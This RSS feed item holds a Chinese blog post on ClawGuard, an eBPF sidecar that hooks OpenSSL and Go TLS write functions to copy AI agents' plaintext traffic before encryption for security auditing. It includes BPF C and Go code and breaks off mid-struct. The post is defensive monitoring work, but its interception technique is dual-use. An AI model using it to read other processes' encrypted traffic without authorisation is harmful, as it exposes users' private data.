<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>运行时安全 on AI博士 万戈</title>
        <link>https://www.yesmiracle.net/tags/%E8%BF%90%E8%A1%8C%E6%97%B6%E5%AE%89%E5%85%A8/</link>
        <description>AI博士万戈的技术博客，聚焦 Agentic AI、AI Infra 与 Agent Security，分享 AI 基础设施与工程落地实践。</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh-cn</language>
        <managingEditor>admin@yesmiracle.net (万戈)</managingEditor>
        <webMaster>admin@yesmiracle.net (万戈)</webMaster>
        <lastBuildDate>Sun, 23 Aug 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://www.yesmiracle.net/tags/%E8%BF%90%E8%A1%8C%E6%97%B6%E5%AE%89%E5%85%A8/index.xml" rel="self" type="application/rss+xml" /><item>
        <title>ClawGuard 源码级解析：eBPF Agent TLS 明文捕获，不拆包、不注入、不碰容器</title>
        <link>https://www.yesmiracle.net/post/20260823-clawguard-ebpf-tls-plaintext-capture/</link>
        <pubDate>Sun, 23 Aug 2026 00:00:00 +0000</pubDate>
        <author>admin@yesmiracle.net (万戈)</author>
        <guid>https://www.yesmiracle.net/post/20260823-clawguard-ebpf-tls-plaintext-capture/</guid>
        <description>&lt;img src="https://www.yesmiracle.net/post/20260823-clawguard-ebpf-tls-plaintext-capture/cover.svg" alt="Featured image of post ClawGuard 源码级解析：eBPF Agent TLS 明文捕获，不拆包、不注入、不碰容器" /&gt;&lt;p&gt;如果你运行过 AI Agent 生产环境，一定遇到过一个尴尬的问题：&lt;strong&gt;Agent 走的 HTTPS，你完全不知道它和 API 之间说了什么。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;传统解法是挂 MITM 代理——在 Agent 前面架一个自签 CA 的 HTTPS 中间人，解密、检查、再加密转发。但这套方案在 agent 时代暴露出四个硬伤：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;侵入性&lt;/strong&gt; — 你得改 Agent 的镜像或者容器启动参数才能信任你的 CA&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;延迟放大&lt;/strong&gt; — 每次请求多一次完整 TLS 握手 + 加解密&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;维护成本&lt;/strong&gt; — 自签 CA 过期、轮换、分发，每个环节都在增加运维面&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;盲区&lt;/strong&gt; — 如果 Agent 用 Go 的 &lt;code&gt;crypto/tls&lt;/code&gt; 标准库而不是 OpenSSL，传统 MITM 代理可能根本 hook 不到&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;ClawGuard 选择了另一条路——在加密前旁观。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它不是代理，不是网关，不修改数据包。它是一个 eBPF sidecar，在 Agent 进程里找到 &lt;code&gt;SSL_write&lt;/code&gt; / &lt;code&gt;SSL_write_ex&lt;/code&gt; / Go &lt;code&gt;crypto/tls.(*Conn).Write&lt;/code&gt; 的调用点，在 &lt;strong&gt;数据还没加密、还没写到 socket&lt;/strong&gt; 的瞬间，把明文复制一份出来。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;零入侵、零延迟放大、零丢包风险。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这篇是「源码级解析」系列的第一篇，我们从 BPF C 程序开始，一路走到 Go 用户态重组引擎、插件化管道架构、Kubernetes 部署方式，最后聊它在 MCPZERO + Hysee 蓝图中的位置。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;一为什么是加密前旁观而不是-mitm&#34;&gt;一、为什么是「加密前旁观」而不是 MITM？&lt;/h2&gt;
&lt;p&gt;2026 年的 Agent 安全栈，有一个从浅到深的防御梯度：&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;网关层（MCPZERO Entry）     → 已做
运行时检测（ClawGuard）      → 这篇文章
桌面沙箱（Hysee）            → 未来
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;网关层能拦截 Agent 发起的工具调用（&lt;code&gt;read_file&lt;/code&gt;、&lt;code&gt;send_email&lt;/code&gt;、&lt;code&gt;http_request&lt;/code&gt;），但它对已建立的 TLS 连接无能为力——网关看到的是加密隧道，不知道里面跑了什么。&lt;/p&gt;
&lt;p&gt;运行时检测要回答三个问题：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Agent 在向哪个 API 发送了什么数据？（明文内容）&lt;/li&gt;
&lt;li&gt;哪个进程发起的这个 TLS 连接？（溯源）&lt;/li&gt;
&lt;li&gt;如果 Agent 被投毒，数据外泄的窗口有多大？（审计）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MITM 代理可以做到，但代价太大。ClawGuard 用 eBPF uprobe 在用户态函数的入口点挂 hook——在 &lt;code&gt;SSL_write&lt;/code&gt; 被调用时，&lt;code&gt;buf&lt;/code&gt; 和 &lt;code&gt;num&lt;/code&gt;（明文指针和长度）已经作为参数传进来了，加密还没发生。uprobe 把这段明文复制到 BPF ringbuf，用户态守护进程再把它重组、持久化、推送到插件管道。&lt;/p&gt;
&lt;p&gt;整个过程：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;不拆包&lt;/strong&gt; — 不碰网络栈&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不挂钩&lt;/strong&gt; — 不干扰 TLS 握手的任何环节&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不改容器&lt;/strong&gt; — 不需要挂 CA 证书、不需要改环境变量&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不修改写缓冲区&lt;/strong&gt; — 只读复制，不影响原始数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;唯一的代价是：需要一个带 KVM 权限的 sidecar 容器。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;二bpf-程序在加密前截取明文&#34;&gt;二、BPF 程序：在加密前截取明文&lt;/h2&gt;
&lt;p&gt;核心 BPF C 程序在 &lt;a class=&#34;link&#34; href=&#34;https://github.com/eyelessly/clawguard/blob/main/bpf/ssl_write.bpf.c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;&lt;code&gt;bpf/ssl_write.bpf.c&lt;/code&gt;&lt;/a&gt;，约 180 行。它负责三个 uprobe：&lt;/p&gt;
&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;Hook&lt;/th&gt;
          &lt;th&gt;目标函数&lt;/th&gt;
          &lt;th&gt;参数&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;probe_ssl_write&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;OpenSSL &lt;code&gt;SSL_write&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;(ssl, buf, num)&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;probe_ssl_write_ex&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;OpenSSL &lt;code&gt;SSL_write_ex&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;&lt;code&gt;(ssl, buf, num, written)&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;&lt;code&gt;probe_go_tls_write&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;Go &lt;code&gt;crypto/tls.(*Conn).Write&lt;/code&gt;&lt;/td&gt;
          &lt;td&gt;register ABI&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&#34;21-数据结构&#34;&gt;2.1 数据结构&lt;/h3&gt;
&lt;p&gt;每次 uprobe 捕获产生一个 &lt;code&gt;ssl_event&lt;/code&gt;，通过 BPF ringbuf 传递给用户态进程：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ssl_event {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    __u32 pid;          &lt;span style=&#34;color:#75715e&#34;&gt;// 进程 ID
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u32 tid;          &lt;span style=&#34;color:#75715e&#34;&gt;// 线程 ID
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u32 call_id;      &lt;span style=&#34;color:#75715e&#34;&gt;// 去重调用 ID
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u32 orig_len;     &lt;span style=&#34;color:#75715e&#34;&gt;// 原始明文长度
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u32 total_len;    &lt;span style=&#34;color:#75715e&#34;&gt;// 实际捕获长度（可能被 max_capture 截断）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u32 truncated;    &lt;span style=&#34;color:#75715e&#34;&gt;// 是否被截断
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u32 frag_idx;     &lt;span style=&#34;color:#75715e&#34;&gt;// 当前分片索引
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u32 frag_cnt;     &lt;span style=&#34;color:#75715e&#34;&gt;// 总分片数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u32 chunk_len;    &lt;span style=&#34;color:#75715e&#34;&gt;// 本分片有效数据长度
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u32 hook_type;    &lt;span style=&#34;color:#75715e&#34;&gt;// 1=SSL_write, 2=SSL_write_ex, 3=Go TLS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    __u8 payload[&lt;span style=&#34;color:#ae81ff&#34;&gt;512&lt;/span&gt;];  &lt;span style=&#34;color:#75715e&#34;&gt;// 明文分片数据
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;关键设计决策：&lt;strong&gt;每个事件只携带 512 字节的 payload，大消息被拆成多个 fragment&lt;/strong&gt;。这样做的好处是 ringbuf 的单次预留不会太大，不会因为一次大写入撑爆 ringbuf 导致后续所有事件丢失。&lt;/p&gt;
&lt;p&gt;分片数通过 &lt;code&gt;bpf_loop&lt;/code&gt; 计算：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define CHUNK_SIZE 512
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Kernel bpf_loop hard limit is 1&amp;lt;&amp;lt;23 */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define BPF_LOOP_MAX (1u &amp;lt;&amp;lt; 20)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;frag64 &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; ((__u64)total_len &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; CHUNK_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;/&lt;/span&gt; CHUNK_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (frag64 &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; BPF_LOOP_MAX) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    frag_cnt &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; BPF_LOOP_MAX;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_len &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; BPF_LOOP_MAX &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; CHUNK_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    truncated &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这意味着理论最大单次写入捕获可达 &lt;strong&gt;512MB（BPF_LOOP_MAX × 512B）&lt;/strong&gt;，而社区常见的同类方案大多停在 16KB 单品 cap。ClawGuard 默认 &lt;strong&gt;unlimited&lt;/strong&gt;（可配置 &lt;code&gt;CLAWGUARD_MAX_CAPTURE_BYTES&lt;/code&gt; 安全阀）。&lt;/p&gt;
&lt;h3 id=&#34;22-去重机制&#34;&gt;2.2 去重机制&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;SSL_write&lt;/code&gt; 被调用时，调用者和被调用者之间的最后一个函数帧可能触发多次 probe 命中——同一个 &lt;code&gt;(PID, TID, buf, num)&lt;/code&gt; 组合在 2ms 窗口内可能出现多次。ClawGuard 用 LRU hash map 做去重：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; call_state {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    __u64 last_buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    __u32 last_num;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    __u32 last_call_id;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    __u64 last_ts_ns;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    __u32 seq;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#define DEDUP_WINDOW_NS 2000000ULL  &lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 2ms
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 在 2ms 窗口内、相同 buf+num → 复用同一 call_id
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 超出窗口 → 自增 seq 生成新 call_id
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;去重不是单纯防重复——它对用户态重组至关重要。同一个逻辑写入的所有 fragment 共享一个 &lt;code&gt;call_id&lt;/code&gt;，用户态据此把多个 fragment 拼回完整的 HTTP 请求体。&lt;/p&gt;
&lt;h3 id=&#34;23-分片发射&#34;&gt;2.3 分片发射&lt;/h3&gt;
&lt;p&gt;用 &lt;code&gt;bpf_loop&lt;/code&gt; 遍历所有 fragment：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;emit_one_frag&lt;/span&gt;(__u32 index, &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;data) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; emit_ctx &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;c &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 计算偏移和 chunk 长度
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    offset &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; index &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt; CHUNK_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    chunk_len &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; c&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;total_len &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt; offset;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (chunk_len &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; CHUNK_SIZE)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        chunk_len &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; CHUNK_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 预留 ringbuf 空间
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    e &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;bpf_ringbuf_reserve&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;events, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;e), &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;e) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        c&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;truncated &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;;  &lt;span style=&#34;color:#75715e&#34;&gt;// 告诉 bpf_loop 提前结束
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// 从用户态复制明文到 BPF 缓冲区
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;bpf_probe_read_user&lt;/span&gt;(e&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;payload, CHUNK_SIZE, (&lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)(c&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;buf &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; offset));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;bpf_ringbuf_submit&lt;/span&gt;(e, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// 入口函数
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;static&lt;/span&gt; __always_inline &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;emit_from_buf&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;const&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;buf, &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; num_long, ...) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#75715e&#34;&gt;// ... 安全检查、分片数计算 ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;bpf_loop&lt;/span&gt;(frag_cnt, emit_one_frag, &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ec, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;bpf_loop&lt;/code&gt; 比手写 for 循环的重要优势：&lt;strong&gt;内核保证循环不会超过 BPF verifier 的可证明上限&lt;/strong&gt;，不会因为 verifier 拒绝而打不开程序。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&#34;三go-用户态从-ringbuf-到流水线&#34;&gt;三、Go 用户态：从 ringbuf 到流水线&lt;/h2&gt;
&lt;p&gt;BPF 侧只管捕获和分片。重组、持久化、管道分发都在 Go 用户态守护进程里。&lt;/p&gt;
&lt;h3 id=&#34;31-重组引擎&#34;&gt;3.1 重组引擎&lt;/h3&gt;
&lt;p&gt;用户态从 ringbuf 读出 &lt;code&gt;sslEvent&lt;/code&gt;（Go 端对应结构体），按 &lt;code&gt;(PID, TID, CallID)&lt;/code&gt; 三元组作为 key，把 fragment 拼回完整消息：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;reassemblyKey&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;PID&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;TID&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;CallID&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;uint32&lt;/span&gt;
